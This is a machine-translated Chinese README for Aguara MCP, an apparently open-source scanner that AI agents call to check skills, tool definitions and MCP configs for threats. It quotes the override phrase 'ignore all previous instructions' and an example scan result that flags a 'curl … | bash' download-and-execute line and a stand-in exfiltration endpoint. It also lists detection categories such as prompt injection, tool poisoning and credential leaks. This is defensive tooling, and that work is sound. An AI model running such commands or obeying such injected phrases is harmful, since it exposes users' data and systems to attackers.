Aguara MCP
AI代理的安全顾问。
由...驱动 阿瓜拉,专为AI代理生态系统构建的开源安全扫描器。177条规则,13个威胁类别,4个分析层(模式、NLP、污染跟踪、地毯提取检测),上下文感知假阳性减少,Unicode规避预防,零网络访问。
的问题
人工智能代理正在获得自主权。他们浏览注册表、发现工具、安装MCP服务器并执行第三方代码——通常没有任何安全审查。
这将创建一个新的攻击面。今天发布到注册表的技能可以包含:
- 快速注射 劫持代理的行为(“忽略所有先前的指示……”)
- 凭证被盗 从代理的环境中过滤API密钥、令牌和机密
- 远程代码执行 隐藏在安装脚本中(
curl | bash,外壳注射) - 数据渗漏 将用户数据无声地发送到攻击者控制的端点
- 供应链攻击 通过依赖混淆和拼写错误
代理人不知道。它无法区分有用的工具和武器化的工具。描述看起来很正常。安装成功。损害已经造成。
这是Aguara MCP填补的空白。 它为代理提供了一个安全顾问,可以作为工具进行咨询——就像开发人员在合并代码之前运行linter一样。一个工具调用,毫秒,完全本地。代理人先检查,然后再决定。
快速开始
curl -fsSL https://raw.githubusercontent.com/garagon/aguara-mcp/main/install.sh | sh或者使用Go:
go install github.com/garagon/aguara-mcp@latest一个命令,一个二进制文件,没有外部依赖关系。
确保安装目录(~/.local/bin或$GOPATH/bin)在你的PATH.
添加到您的AI代理
克劳德代码:
claude mcp add aguara -- aguara-mcp克劳德桌面版 --添加到 claude_desktop_config.json:
{
"mcpServers": {
"aguara": {
"command": "aguara-mcp"
}
}
}Cursor/Windsurf/任何MCP客户端 --stdio传输 aguara-mcp.
你的代理人现在有一个安全顾问。
工具
scan_content
扫描文本以查找安全威胁。在操作之前,请在技能描述、工具定义、README或任何不受信任的内容上使用它。支持上下文感知扫描,以减少已知原始工具时的误报。
| 参数 | 必填 | 说明 |
|---|---|---|
content | 是 | 要扫描的文本内容 |
filename | 无 | 规则匹配的文件名提示(默认值: skill.md) |
tool_name | 否 | 生成内容的工具(例如。, Bash, Edit, WebFetch).实现上下文感知的假阳性减少 |
scan_profile | 否 | 执行配置文件: strict (默认,所有规则), content-aware (已知工具的FP降低),或 minimal (仅标记模式) |
min_severity | 否 | 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL |
disabled_rules | 否 | 要跳过的规则ID列表(例如。, ["PROMPT_INJECTION_001"]) |
返回带有判决的结构化报告(clean, flag,或 block),严重性评级结果,包括补救指导、匹配模式、行号、置信度评分,以及哪个分析引擎产生了每个发现。
check_mcp_config
分析MCP服务器配置中的危险模式——暴露的凭据、不安全的命令、过于宽松的设置。
| 参数 | 必填 | 说明 |
|---|---|---|
config | 是 | MCP配置为JSON字符串 |
scan_profile | 否 | 执行配置文件: strict (默认), content-aware,或 minimal |
min_severity | 否 | 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL |
disabled_rules | 否 | 要跳过的规则ID列表 |
list_rules
浏览完整的规则数据库。当代理需要了解存在哪些威胁类别或Aguara可以检测到什么时,这很有用。
| 参数 | 必填 | 说明 |
|---|---|---|
category | 否 | 按类别筛选(例如。, prompt-injection, exfiltration, credential-leak) |
explain_rule
获取特定规则的详细信息——它检测到什么、它的模式以及真/假阳性的示例。
| 参数 | 必填 | 说明 |
|---|---|---|
rule_id | 是 | 规则ID(例如。, PROMPT_INJECTION_001) |
discover_mcp
发现本地计算机上的MCP服务器配置。扫描Claude Desktop、Cursor、VS Code、Windsurf和其他MCP客户端的已知配置路径。返回所有服务器定义及其命令、参数和环境变量。
无需参数。
示例
评估是否从注册表安装MCP服务器的代理:
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ {
"summary": "Found 2 issues: 1 critical, 1 high",
"verdict": "block",
"findings": [
{
"severity": "CRITICAL",
"rule_id": "SUPPLY_003",
"rule_name": "Download-and-execute",
"remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
"line": 12,
"matched_text": "curl https://cdn.example.com/setup.sh | bash",
"analyzer": "pattern"
},
{
"severity": "HIGH",
"rule_id": "EXFIL_001",
"rule_name": "Data exfiltration endpoint",
"line": 34,
"matched_text": "https://collect.example.com/data",
"confidence": 0.92,
"analyzer": "nlp"
}
]
}
Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."如果没有Aguara MCP,代理可能会默默地安装它。
覆盖
涵盖13个威胁类别的177条模式规则,以及NLP和有毒流分析器:
| 类别 | 规则 | 检测 | |
|---|---|---|---|
| 凭据泄漏 | 22 | neneneba API密钥、令牌、纯文本机密、.env文件暴露 | |
| 供应链 | 21 | 依赖关系混乱,拼写错误 | |
| 提示注入 | 18+ | 指令覆盖、越狱、角色劫持(+NLP) | |
| Exfiltering | 16+ | 发送到攻击者控制的端点的数据(+NLP) | |
| 外部下载 | 16 | curl | bash,远程脚本执行 |
| MCP攻击 | 16 | 工具中毒,权限升级 | |
| 命令执行 | 15 | Shell注入,子进程生成 | |
| 间接注射 | 11 | 通过外部内容物注射 | |
| MCP配置 | 11 | 服务器配置不安全 | |
| SSRF/云 | 11 | 元数据端点访问,SSRF模式 | |
| 第三方内容 | 10 | 未经验证的外部数据消耗 | |
| Unicode攻击 | 10 | 谐音、bidi覆盖、不可见字符 | |
| 有毒物质流动 | 3 | 危险的多步工具链(地毯拉力检测) |
此外,NLP注入分析器检测逃避静态模式的威胁,并在扫描之前对内容进行NFKC规范化,以防止Unicode逃避攻击。
运作原理
Agent Aguara MCP
│ │
├─ scan_content(text) ────►│
│ ├─ aguara.ScanContent()
│ │ or ScanContentAs() with tool context
│ │ (in-process, no disk I/O)
│ │ 177 rules · 4 analysis layers
│ │ NFKC normalization · FP reduction
│◄─ verdict + findings ────┤
│ │
├─ discover_mcp() ────────►│
│ ├─ aguara.Discover()
│ │ (reads local config files)
│◄─ server definitions ────┤
│ │Aguara MCP进口 Aguara扫描仪 作为Go库——没有子进程,没有临时文件,没有外部二进制文件。扫描引擎在进程中运行,版本完整性由以下保证 go.sum.
MCP协议层使用 官方Go SDK (第1层,Linux基金会治理,v1 semver稳定性)。随着MCP规范的发展,这确保了协议合规性和长期兼容性。
无法访问网络。没有LLM电话。没有云依赖关系。一切都在本地和确定性地运行。扫描在毫秒内完成。
安全
看 安全.md 漏洞披露政策。
Aguara MCP本身就加强了安全性:
- 无子流程执行 --Aguara作为进程内Go库运行,消除了PATH劫持和二进制替换风险
- 输入验证 --根据严格的格式验证规则ID,内容大小上限为10 MB
- 文件名清理 --仅允许列出的字符,长度有上限,无路径遍历
- 版本完整性 --Aguara扫描仪版本已固定
go.sum,在构建时验证
高级
调试模式(将扫描详细信息记录到stderr):
claude mcp add aguara -- aguara-mcp --debug从源代码构建:
git clone https://github.com/garagon/aguara-mcp.git
cd aguara-mcp
make build # → ./aguara-mcp
make test # runs all tests将Aguara用作Go库
Aguara MCP使用Aguara公共API。您可以在自己的工具中使用它:
import "github.com/garagon/aguara"
// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
aguara.WithMinSeverity(aguara.SeverityHigh),
aguara.WithDisabledRules("CRED_001"),
)
// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
aguara.WithScanProfile(aguara.ProfileContentAware),
)
rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()看 Aguara文件 以获取API的完整参考。
